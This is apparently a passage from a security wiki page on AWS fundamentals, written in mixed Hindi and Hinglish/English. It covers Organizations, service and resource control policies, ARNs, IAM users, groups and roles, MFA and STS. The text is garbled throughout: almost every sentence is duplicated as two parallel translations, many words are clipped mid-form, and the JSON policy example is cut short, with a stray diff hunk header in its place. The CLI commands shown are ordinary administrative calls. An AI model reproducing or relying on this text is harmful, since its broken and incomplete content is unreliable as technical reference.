Management account के पास **payer account** की जिम्मेदारियाँ होती हैं और यह member accounts द्वारा accrued सभी charges का भुगतान करने के लिए जिम्मेदार होता है। आप किसी organization का management account change नहीं कर सकते।
- **सदस्य खाते** संगठन में सभी अन्य खातों का निर्माण करते हैं। एक खाता एक समय में केवल एक संगठन का सदस्य हो सकता है। आप एक खाते पर नियंत्रण लागू करने के लिए एक नीति संलग्न कर सकते हैं केवल उसी एक खाते पर
- सदस्य खातों को **एक मान्य ईमेल पता** का उपयोग करना चाहिए और एक **नाम** हो सकता है, सामान्यतः वे बिलिंग का प्रबंधन नहीं कर पाएंगे (लेकिन उन्हें इसके लिए पहुँच दी जा सकत है)।
- **Member accounts** organization के बाकी सभी accounts होते हैं। एक account एक समय में केवल एक ही organization का member हो सकता है। आप केवल उसी एक account पर controls apply करने के लिए किसी account से policy attach कर सकते हैं
- Member accounts को **valid email address** use करना जरूरी है और उनका एक **name** हो सकता है; सामान्यतः वे billing manage नहीं कर पाएंगे (लेकिन उन्हें इसका access दिया जा सकत है)।
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
### **Organization Units**
### **संगठन इकाइयाँ**
Accounts can be grouped in **Organization Units (OU)**. इस तरह, आप **policies** बना सकत हैं जो Organization Unit के लिए होंगी जो **सभी बच्चों के खातों पर लागू होंगी**। ध्यान दें कि एक OU के पास अन्य OUs भी हो सकते हैं।
Accounts को **Organization Units (OU)** में group किया जा सकत है। इस तरह, आप Organization Unit के लिए **policies** बना सकते हैं जो **सभी child accounts पर लागू** होंगी। ध्यान दें कि एक OU के children के रूप में अन्य OUs हो सकते हैं।
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
A **service control policy (SCP)** एक नीति है जो उन सेवाओं और क्रियाओं को निर्दिष्ट करती है जिन्हें उपयोगकर्ता और भूमिकाएँ उन खातों में उपयोग कर सकते हैं जिन पर SCP प्रभाव डालता है। SCPs **IAM** अनुमतियों नीतियों के समान हैं सिवाय इसके कि वे **कोई अनुमतियाँ नहीं देतीं**। इसके बजाय, SCPs एक संगठन, संगठनात्मक इकाई (OU), या खाते के लिए **अधिकतम अनुमतियाँ** निर्दिष्ट करती हैं। जब आप अपने संगठन की जड़ या एक OU पर SCP संलग्न करते हैं, तो **SCP सदस्य खातों में संस्थाओं के लिए अनुमतियों को सीमित करत है**
एक **service control policy (SCP)** एक policy है जो उन services और actions को specify करती है जिन्हें users और roles उन accounts में use कर सकते हैं जिन पर SCP effect करती है। SCPs **IAM** permissions policies के समान हैं, लेकिन इनमें **कोई permissions grant नहीं होतीं**। इसके बजाय, SCPs किसी organization, organizational unit (OU), या account के लिए **maximum permissions** specify करती हैं। जब आप अपनी organization root या किसी OU पर SCP attach करते हैं, तो **SCP member accounts में entities के लिए permissions limit करत है**
यह **एकमात्र तरीका है कि** **यहाँ तक कि रूट उपयोगकर्ता को भी कुछ करने से रोका जा सकता है**। उदाहरण के लिए, इसका उपयोग उपयोगकर्ताओं को CloudTrail को निष्क्रिय करने या बैकअप को हटाने से रोकने के लिए किया जा सकता है।\
इसबचने का एकमात्र तरीका यह है कि **मास्टर खाता** भी समझौता किया जाए जो SCPs को कॉन्फ़िगर करता है (मास्टर खाता अवरुद्ध नहीं किया जा सकता)।
यह **एकमात्र तरीका** है जिससे **root user को भी** कुछ करने से रोका जा सकता है। उदाहरण के लिए, इसका उपयोग users को CloudTrail disable करने या backups delete करने से रोकने के लिए किया जा सकता है।\
इसे bypass करने का केवल एक तरीका है **master account** को भी compromise करना जो SCPs configure करता है (master account को block नहीं किया जा सकता)।
> [!WARNING]
> ध्यान दें कि **SCPs केवल खाते में प्रिंसिपल को प्रतिबंधित करती हैं**, इसलिए अन्य खाते प्रभावित नहीं होते। इसका मतलब है कि SCP द्वारा `s3:GetObject` को अस्वीकार करने से लोगों को आपके खाते में **एक सार्वजनिक S3 बकेट** तक पहुँचने से नहीं रोका जाएगा
> ध्यान दें कि **SCPs केवल account के principals को restrict करती हैं**, इसलिए अन्य accounts प्रभावित नहीं होते। इसका मतलब है कि `s3:GetObject` को deny करने वाली SCP आपके account में **public S3 bucket** तक पहुंच को नहीं रोकेगी
SCP उदाहरण:
SCP के उदाहरण:
- रूट खाते को पूरी तरह से अस्वीकार करें
- केवल विशिष्ट क्षेत्रों की अनुमति दें
- केवल श्वेत-सूचीबद्ध सेवाओं की अनुमति दें
- GuardDuty, CloudTrail, और S3 सार्वजनिक ब्लॉक एक्सेस को निष्क्रिय करने से रोकें
- root account को पूरी तरह deny करना
- केवल specific regions allow करना
- केवल white-listed services allow करना
- GuardDuty, CloudTrail, और S3 Public Block Access को disable होने से deny करना
- सुरक्षा/घटना प्रतिक्रिया भूमिकाओं को हटाने या
- security/incident response roles को delete या
संशोधित करने से रोकें।
modify होने से deny करना.
- बैकअप को हटाने से रोकें
- IAM उपयोगकर्ताओं और एक्सेस कुंजियों को बनाने से रोकें
- backups को delete होने से deny करना
- IAM users और access keys बनाने को deny करना
**JSON उदाहरण** [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) में खोजें
[https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) में **JSON examples** देखें
### Resource Control Policy (RCP)
A **resource control policy (RCP)** एक नीति है जो आपके AWS संगठन के भीतर **संसाधनों के लिए अधिकतम अनुमतियों** को परिभाषित करती है। RCPs वाक्यविन्यास में IAM नीतियों के समान हैं लेकिन **अनुमतियाँ नहीं देतीं**े केवल उन अनुमतियों को सीमित करती हैं जो अन्य नीतियों द्वारा संसाधनों पर लागू की जा सकती हैं। जब आप अपने संगठन की जड़, एक संगठनात्मक इकाई (OU), या एक खाते पर RCP संलग्न करते हैं, तो RCP प्रभावित दायरे में सभी संसाधनों पर संसाधन अनुमतियों को सीमित करत है।
एक **resource control policy (RCP)** एक policy है जो आपके AWS organization के भीतर resources के लिए **maximum permissions** define करती है। RCPs syntax में IAM policies जैसी होती हैं, लेकिन **permissions grant नहीं करतीं**े केवल उन permissions को cap करती हैं जो अन्य policies द्वारा resources पर apply की जा सकती हैं। जब आप किसी organization root, organizational unit (OU), या account पर RCP attach करते हैं, तो RCP प्रभावित scope में सभी resources के लिए resource permissions को limit करत है।
यह **एकमात्र तरीका है यह सुनिश्चित करने के लिए कि** **संसाधन पूर्वनिर्धारित पहुँच स्तरों से अधिक नहीं हो सकते**—यहाँ तक कि यदि पहचान-आधारित या संसाधन-आधारित नीति बहुत अधिक अनुमति देती। इन सीमाओं को बायपास करने का एकमात्र तरीका यह है कि आपके संगठन के प्रबंधन खाते द्वारा कॉन्फ़िगर की गई RCP को भी संशोधित किया जाए
यह **एकमात्र तरीका** है यह सुनिश्चित करने का कि **resources predefined access levels से आगे न जाएं**—भले ही identity-based या resource-based policy बहुत permissive। इन limits को bypass करने का एकमात्र तरीका है आपकी organization के management account द्वारा configured RCP को भी modify करना
> [!WARNING]
> RCPs केवल उन अनुमतियों को प्रतिबंधित करती हैं जो संसाधनों के पास हो सकती हैं। वे सीधे यह नियंत्रित नहीं करतीं कि प्रिंसिपल क्या कर सकते हैं। उदाहरण के लिए, यदि एक RCP एक S3 बकेट के लिए बाहरी पहुँच को अस्वीकार करत है, तो यह सुनिश्चित करत है कि बकेट की अनुमतियाँ कभी भी सेट सीमा से परे क्रियाओं की अनुमति नहीं देतीं—यहाँ तक कि यदि एक संसाधन-आधारित नीति गलत कॉन्फ़िगर की गई
> RCPs केवल उन permissions को restrict करती हैं जो resources के पास हो सकती हैं। वे सीधे control नहीं करतीं कि principals क्या कर सकते हैं। उदाहरण के लिए, अगर कोई RCP किसी S3 bucket के लिए external access deny करत है, तो यह सुनिश्चित करत है कि bucket की permissions कभी भी set limit से आगे actions allow न करें—even if a resource-based policy misconfigured
RCP उदाहरण:
RCP के उदाहरण:
- S3 बकेट को इस तरह से प्रतिबंधित करें कि वे केवल आपके संगठन के भीतर के प्रिंसिपल द्वारा पहुँचा जा सके
- KMS कुंजी के उपयोग को केवल विश्वसनीय संगठनात्मक खातों से संचालन की अनुमति देने के लिए सीमित करे
- SQS कतारों पर अनुमतियों को सीमित करें ताकि अनधिकृत संशोधनों को रोक जा सके
- संवेदनशील डेटा की सुरक्षा के लिए Secrets Manager रहस्यों पर पहुँच सीमाएँ लागू करें
- S3 buckets को restrict करना ताकि उन्हें केवल आपकी organization के principals द्वारा access किया जा सके
- KMS key usage को limit करना ताकि केवल trusted organizational accounts से operations allow हो
- SQS queues पर permissions cap करना ताकि unauthorized modifications रोक जा सके
- Secrets Manager secrets पर access boundaries enforce करना ताकि sensitive data सुरक्षित रहे
उदाहरण [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html) में खोजें
उदाहरण [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html) में देखें
### ARN
**Amazon Resource Name** वह **विशिष्ट नाम** है जो AWS के भीतर हर संसाधन के पास होता है, यह इस तरह से बना होता है:
**Amazon Resource Name** AWS के अंदर हर resource का **unique name** है, यह इस तरह compose होता है:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
नोट करें कि AWS में 4 विभाजन हैं लेकिन उन्हें कॉल करने के केवल 3 तरीके हैं:
Note that there are 4 partitions in AWS but only 3 ways to call them:
- AWS Standard: `aws`
- AWS China: `aws-cn`
- AWS US public Internet (GovCloud): `aws-us-gov`
- AWS Secret (US Classified): `aws`
## IAM - पहचान और पहुँच प्रबंधन
## IAM - Identity and Access Management
IAM वह सेवा है जो आपको अपने AWS खाते के भीत**प्रमाणीकरण**, **अधिकार** और **पहुँच नियंत्रण** प्रबंधित करने की अनुमति देती है।
IAM वह service है जो आपको अपने AWS account के अंद**Authentication**, **Authorization** और **Access Control** manage करने की अनुमति देती है।
- **प्रमाणीकरण** - एक पहचान को परिभाषित करने और उस पहचान के सत्यापन की प्रक्रिया। इस प्रक्रिया को पहचान और सत्यापन में विभाजित किया जा सकत है
- **अधिकार** - यह निर्धारित करता है कि एक पहचान एक प्रणाली के भीतर क्या एक्सेस कर सकती है जब इसे इसके लिए प्रमाणित किया गया हो
- **पहुँच नियंत्रण** - सुरक्षित संसाधन तक पहुँच कैसे दी जात है, इसकी विधि और प्रक्रिया।
- **Authentication** - identity को define करने और उस identity को verify करने की process. यह process दो भागों में subdivide की जा सकत है: Identification और verification.
- **Authorization** - यह तय करता है कि authenticated होने के बाद एक identity system के भीतर क्या access कर सकती है।
- **Access Control** - secure resource तक access कैसे granted किया जात है, इसकी method और process
IAM को इसकी क्षमता द्वारा परिभाषित किया जा सकता है कि यह आपके AWS खाते के भीतर पहचान के प्रमाणीकरण, अधिकार और पहुँच नियंत्रण तंत्रों का प्रबंधन, नियंत्रण और शासन कर सकत है।
IAM को इसकी इस ability से define किया जा सकता है कि यह आपके AWS account के भीतर your resources तक identities की authentication, authorization और access control mechanisms को manage, control और govern कर सकत है।
### [AWS खाता रूट उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
जब आप पहली बार एक Amazon Web Services (AWS) खाता बनाते हैं, तो आप एक सिंगल साइन-इन पहचान के साथ शुरू करते हैं जिसके पास खाते में सभी AWS सेवाओं और संसाधनों तक **पूर्ण पहुँच** होत है। यह AWS खाता _**रूट उपयोगकर्ता**_ है और इसे **उस ईमेल पते और पासवर्ड के साथ साइन इन करके एक्सेस किया जाता है जिसका उपयोग आपने खाता बनाने के लिए किया था**
जब आप पहली बार Amazon Web Services (AWS) account बनाते हैं, तो आप एक single sign-in identity के साथ शुरू करते हैं जिसके पास account में सभी AWS services और resources तक **complete access** होत है। यह AWS account _**root user**_ है और इसे **उस email address और password** से sign in करके access किया जाता है जिसका उपयोग आपने account बनाने के लिए किया था।
नोट करें कि एक नया **व्यवस्थापक उपयोगकर्ता** के पास **रूट उपयोगकर्ता की तुलना में कम अनुमतियाँ होंगी**
ध्यान दें कि एक नया **admin user** के पास root user की तुलना में **कम permissions** होंगी।
सुरक्षा के दृष्टिकोण से, अन्य उपयोगकर्ताओं को बनान और इस एक का उपयोग करने से बचना अनुशंसित है।
Security के point of view से, अन्य users बनान और इसका उपयोग करने से बचने की सलाह दी जाती है।
### [IAM उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
एक IAM _उपयोगकर्ता_ एक इकाई है जिसे आप AWS में **उस व्यक्ति या एप्लिकेशन का प्रतिनिधित्व करने के लिए बनाते हैं** जो इसका उपयोग **AWS के साथ बातचीत करने के लिए** करता है। AWS में एक उपयोगकर्ता का नाम और क्रेडेंशियल्स (पासवर्ड और अधिकतम दो एक्सेस कुंजी) होत है।
एक IAM _user_ एक entity है जिसे आप AWS में **उस person या application को represent करने** के लिए create करते हैं जो इसका उपयोग **AWS के साथ interact** करने के लिए करता है। AWS में एक user में एक name और credentials (password और up to two access keys) होत है
जब आप एक IAM उपयोगकर्ता बनाते हैं, तो आप से **अनुमतियाँ** प्रदान करते हैं, जिससे यह एक **उपयोगकर्ता समूह का सदस्य बनता है** जिसमें उपयुक्त अनुमति नीतियाँ संलग्न होती हैं (अनुशंसित), या **प्रत्यक्ष रूप से नीतियाँ** उपयोगकर्ता से संलग्न करते हैं
जब आप एक IAM user बनाते हैं, तो आप से **permissions** देते हैं या तो उसे ऐसे **user group का member** बनाकर जिसके साथ appropriate permission policies attached हों (recommended), या user पर **directly policies attach** करके
उपयोगकर्ताओं के पास **कंसोल के माध्यम से लॉगिन करने के लिए MFA सक्षम हो सकता है**। MFA सक्षम उपयोगकर्ताओं के API टोकन MFA द्वारा सुरक्षित नहीं होते हैं। यदि आप **MFA का उपयोग करके उपयोगकर्ताओं की API कुंजियों की पहुँच को प्रतिबंधित करना चाहते हैं** तो आपको नीति में यह इंगित करना होगा कि कुछ क्रियाएँ करने के लिए MFA की आवश्यकता है (उदाहरण [**यहाँ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))
Users के लिए console के through **login के लिए MFA enabled** किया जा सकता है। MFA enabled users के API tokens MFA द्वारा protected नहीं होते। यदि आप **MFA का उपयोग करके किसी user की API keys के access को restrict** करना चाहते हैं, तो आपको policy में यह indicate करना होगा कि certain actions perform करने के लिए MFA present होना चाहिए (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
- **एक्सेस कुंजी आईडी**: 20 यादृच्छिक अपरकेस अल्फ़ान्यूमेरिक वर्ण जैसे AKHDNAPO86BSHKDIRYT
- **गुप्त एक्सेस कुंजी आईडी**: 40 यादृच्छिक अपर और लोअरकेस वर्ण: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (खोई हुई गुप्त एक्सेस कुंजी आईडी को पुनः प्राप्त करना संभव नहीं है)
- **Access Key ID**: 20 random uppercase alphanumeric characters जैसे AKHDNAPO86BSHKDIRYT
- **Secret access key ID**: 40 random upper और lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Lost secret access key IDs को retrieve करना possible नहीं है).
जब भी आपको **एक्सेस कुंजी बदलने की आवश्यकता हो** तो आपको इस प्रक्रिया का पालन करन चाहिए:\
_एक नई एक्सेस कुंजी बनाएं -> सिस्टम/एप्लिकेशन पर नई कुंजी लागू करें -> मूल को निष्क्रिय के रूप में चिह्नित करें -> परीक्षण करें और सत्यापित करें कि नई एक्सेस कुंजी काम कर रही है -> पुरानी एक्सेस कुंजी हटाए_
जब भी आपको **Access Key change** करनी हो, आपको यह process follow करन चाहिए:\
_New access key create करें -> new key को system/application पर apply करें -> original one को inactive mark करें -> Test करें और verify करें कि new access key working है -> old access key delete करे_
### MFA - मल्टी फैक्टर प्रमाणीकरण
### MFA - Multi Factor Authentication
यह आपके मौजूदा तरीकों के अलावा **प्रमाणीकरण के लिए एक अतिरिक्त कारक बनाने** के लिए उपयोग किया जाता है, जैसे कि पासवर्ड, इस प्रकार, प्रमाणीकरण का एक मल्टी-फैक्टर स्तर बनाना।\
आप एक **नि:शुल्क वर्चुअल एप्लिकेशन या एक भौतिक डिवाइस** का उपयोग कर सकते हैं। आप AWS में MFA सक्रिय करने के लिए मुफ्त में गूगल प्रमाणीकरण जैसे ऐप्स का उपयोग कर सकते हैं।
इसे **authentication के लिए एक additional factor create**रने के लिए उपयोग किया जाता है, आपके existing methods जैसे password के अलावा, जिससे multi-factor level of authentication बनता है।\
आप एक **free virtual application या physical device** का उपयोग कर सकते हैं। आप AWS में MFA activate करने के लिए google authentication जैसे apps मुफ्त में use कर सकते हैं।
MFA शर्तों वाली नीतियाँ निम्नलिखित पर संलग्न की जा सकती हैं:
MFA conditions वाली policies निम्नलिखित पर attach की जा सकती हैं:
- एक IAM उपयोगकर्ता या समूह
- एक संसाधन जैसे Amazon S3 बकेट, Amazon SQS कतार, या Amazon SNS विषय
- एक IAM भूमिका की ट्रस्ट नीति जिसे एक उपयोगकर्ता द्वारा ग्रहण किया जा सकता है
- एक IAM user या group
- एक resource जैसे Amazon S3 bucket, Amazon SQS queue, या Amazon SNS topic
- एक IAM role की trust policy जिसे user assume कर सकता है
यदि आप **CLI के माध्यम से** एक संसाधन तक पहुँच प्राप्त करना चाहते हैं जो **MFA की जाँच करता है** तो आपको **`GetSessionToken`** कॉल करना होगा। यह आपको MFA के बारे में जानकारी के साथ एक टोकन देगा।\
नोट करें कि **`AssumeRole` क्रेडेंशियल्स में यह जानकारी शामिल नहीं होती है**।
यदि आप किसी ऐसे resource को **CLI के through access** करना चाहते हैं जो **MFA check करता है**, तो आपको **`GetSessionToken`** call करना होगा। इससे आपको MFA के बारे में info वाला token मिलेगा।\
ध्यान दें कि **`AssumeRole` credentials में यह information नहीं होती**।
```bash
aws sts get-session-token --serial-number <arn_device> --token-code <code>
```
As [**यहां बताया गया है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), कई अलग-अलग मामले हैं जहां **MFA का उपयोग नहीं किया जा सकता**
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
### [IAM उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
एक IAM [उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) एक ऐसा तरीका है जिससे **एक समय में कई उपयोगकर्ताओं के लिए नीतियों को संलग्न किया जा सकता है**, जिससे उन उपयोगकर्ताओं के लिए अनुमतियों का प्रबंधन करना आसान हो सकता है। **भूमिकाएँ और समूह समूह का हिस्सा नहीं हो सकते**
An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
आप एक **पहचान-आधारित नीति को एक उपयोगकर्ता समूह में संलग्न कर सकते हैं** ताकि उपयोगकर्ता समूह में सभी **उपयोगकर्ताओं को नीति की अनुमतियाँ प्राप्त हों**। आप **एक उपयोगकर्ता समूह** को **`Principal`** के रूप में **नीति** (जैसे संसाधन-आधारित नीति) में पहचान नहीं सकते क्योंकि समूह अनुमतियों से संबंधित होते हैं, प्रमाणीकरण से नहीं, और प्रिंसिपल प्रमाणीकरण किए गए IAM संस्थाएँ होते हैं।
You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
उपयोगकर्ता समूह की कुछ महत्वपूर्ण विशेषताएँ हैं:
Here are some important characteristics of user groups:
- एक उपयोगकर्ता **समूह** में **कई उपयोगकर्ता** हो सकते हैं, और एक **उपयोगकर्ता** **कई समूहों** का **भाग हो सकता है**
- **उपयोगकर्ता समूहों को नेस्ट नहीं किया जा सकता**; वे केवल उपयोगकर्ताओं को शामिल कर सकते हैं, अन्य उपयोगकर्ता समूहों को नहीं।
- **AWS खाते में सभी उपयोगकर्ताओं को स्वचालित रूप से शामिल करने वाला कोई डिफ़ॉल्ट उपयोगकर्ता समूह नहीं है**। यदि आप ऐसा उपयोगकर्ता समूह रखना चाहते हैं, तो आपको इसे बनाना होगा और प्रत्येक नए उपयोगकर्ता को इसमें असाइन करना होगा।
- AWS खाते में IAM संसाधनों की संख्या और आकार, जैसे समूहों की संख्या, और एक उपयोगकर्ता जिस समूह का सदस्य हो सकता है, सीमित हैं। अधिक जानकारी के लिए, [IAM और AWS STS कोटा](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) देखें।
- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
- **User groups can't be nested**; they can contain only users, not other user groups.
- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
### [IAM भूमिकाएँ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
एक IAM **भूमिका** एक **उपयोगकर्ता** के समान है, क्योंकि यह एक **पहचान है जिसमें अनुमति नीतियाँ होती हैं जो यह निर्धारित करती हैं कि** यह AWS में क्या कर सकता है और क्या नहीं। हालाँकि, एक भूमिका के साथ कोई **क्रेडेंशियल्स** (पासवर्ड या एक्सेस कुंजी) नहीं होते। एक व्यक्ति के साथ विशेष रूप से जुड़े होने के बजाय, एक भूमिका को **किसी भी व्यक्ति द्वारा ग्रहण किया जा सकता है जिसे इसकी आवश्यकता है (और जिसके पास पर्याप्त अनुमतियाँ हैं)**। एक **IAM उपयोगकर्ता एक भूमिका ग्रहण कर सकता है ताकि अस्थायी रूप से** किसी विशेष कार्य के लिए विभिन्न अनुमतियाँ ले सके। एक भूमिका को एक [**संघीय उपयोगकर्ता**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) को असाइन किया जा सकता है जो IAM के बजाय एक बाहरी पहचान प्रदाता का उपयोग करके साइन इन करता है।
An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
एक IAM भूमिका में **दो प्रकार की नीतियाँ** होती हैं: एक **विश्वास नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है **कौन भूमिका ग्रहण कर सकता है**, और एक **अनुमति नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है **यह क्या एक्सेस कर सकता है**
An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
#### AWS सुरक्षा टोकन सेवा (STS)
#### AWS Security Token Service (STS)
AWS सुरक्षा टोकन सेवा (STS) एक वेब सेवा है जो **अस्थायी, सीमित-विशेषाधिकार क्रेडेंशियल्स** के **जारी करने** की सुविधा प्रदान करती है। यह विशेष रूप से निम्नलिखित के लिए तैयार की गई है:
AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
### [IAM में अस्थायी क्रेडेंशियल्स](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
**अस्थायी क्रेडेंशियल्स मुख्य रूप से IAM भूमिकाओं के साथ उपयोग किए जाते हैं**, लेकिन इसके अन्य उपयोग भी हैं। आप अस्थायी क्रेडेंशियल्स का अनुरोध कर सकते हैं जिनमें आपके मानक IAM उपयोगकर्ता की तुलना में अधिक सीमित अनुमतियों का सेट होता है। यह **आपको** **अनुमत नहीं होने वाले कार्यों को गलती से करने से रोकता है**। अस्थायी क्रेडेंशियल्स का एक लाभ यह है कि वे एक निर्धारित समय के बाद स्वचालित रूप से समाप्त हो जाते हैं। आपके पास यह नियंत्रित करने की क्षमता है कि क्रेडेंशियल्स कितने समय तक मान्य हैं।
**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
### नीतियाँ
### Policies
#### नीति अनुमतियाँ
#### Policy Permissions
अनुमतियों को असाइन करने के लिए उपयोग की जाती हैं। 2 प्रकार हैं:
Are used to assign permissions. There are 2 types:
- AWS प्रबंधित नीतियाँ (AWS द्वारा पूर्व-कॉन्फ़िगर की गई)
- ग्राहक प्रबंधित नीतियाँ: आपके द्वारा कॉन्फ़िगर की गई। आप AWS प्रबंधित नीतियों के आधार पर नीतियाँ बना सकते हैं (उनमें से एक को संशोधित करके और अपनी खुद की बनाकर), नीति जनरेटर का उपयोग करके (एक GUI दृश्य जो आपको अनुमतियाँ देने और अस्वीकार करने में मदद करता है) या अपनी खुद की लिखकर।
- AWS managed policies (preconfigured by AWS)
- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
**डिफ़ॉल्ट रूप से पहुँच** **अस्वीकृत** है, पहुँच तब दी जाएगी जब एक स्पष्ट भूमिका निर्दिष्ट की गई हो।\
यदि **एकल "Deny" मौजूद है, तो यह "Allow" को ओवरराइड करेगा**, सिवाय उन अनुरोधों के जो AWS खाते की रूट सुरक्षा क्रेडेंशियल्स का उपयोग करते हैं (जो डिफ़ॉल्ट रूप से अनुमति दी जाती हैं)।
By **default access** is **denied**, access will be granted if an explicit role has been specified.\
If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -208,33 +208,33 @@ AWS सुरक्षा टोकन सेवा (STS) एक वेब स
]
}
```
[ग्लोबल फ़ील्ड जो किसी भी सेवा में शर्तों के लिए उपयोग किए जा सकते हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
[विशिष्ट फ़ील्ड जो प्रत्येक सेवा के लिए शर्तों के लिए उपयोग किए जा सकते हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
#### इनलाइन नीतियाँ
#### Inline Policies
इस प्रकार की नीतियाँ **प्रत्यक्ष रूप से** एक उपयोगकर्ता, समूह या भूमिका को असाइन की जाती हैं। फिर, नीतियों की सूची में नहीं दिखाई देती हैं क्योंकि कोई अन्य उनका उपयोग कर सकता है।\
इनलाइन नीतियाँ उपयोगी होती हैं यदि आप **नीति और उस पहचान के बीच एक सख्त एक-से-एक संबंध बनाए रखना चाहते हैं** जिस पर इसे लागू किया गया है। उदाहरण के लिए, आप यह सुनिश्चित करना चाहते हैं कि नीति में अनुमतियाँ अनजाने में किसी अन्य पहचान को असाइन नहीं की गई हैं। जब आप एक इनलाइन नीति का उपयोग करते हैं, तो नीति में अनुमतियाँ अनजाने में गलत पहचान से नहीं जुड़ सकती हैं। इसके अलावा, जब आप AWS प्रबंधन कंसोल का उपयोग करके उस पहचान को हटाते हैं, तो पहचान में निहित नीतियाँ भी हटा दी जाती हैं। इसका कारण यह है कि वे प्रमुख इकाई का हिस्सा हैं।
इस प्रकार की policies **सीधे assigned** की जाती हैं किसी user, group या role को। फिर, Policies list में दिखाई नहीं देतीं क्योंकि कोई और इन्हें use नहीं कर सकता।\
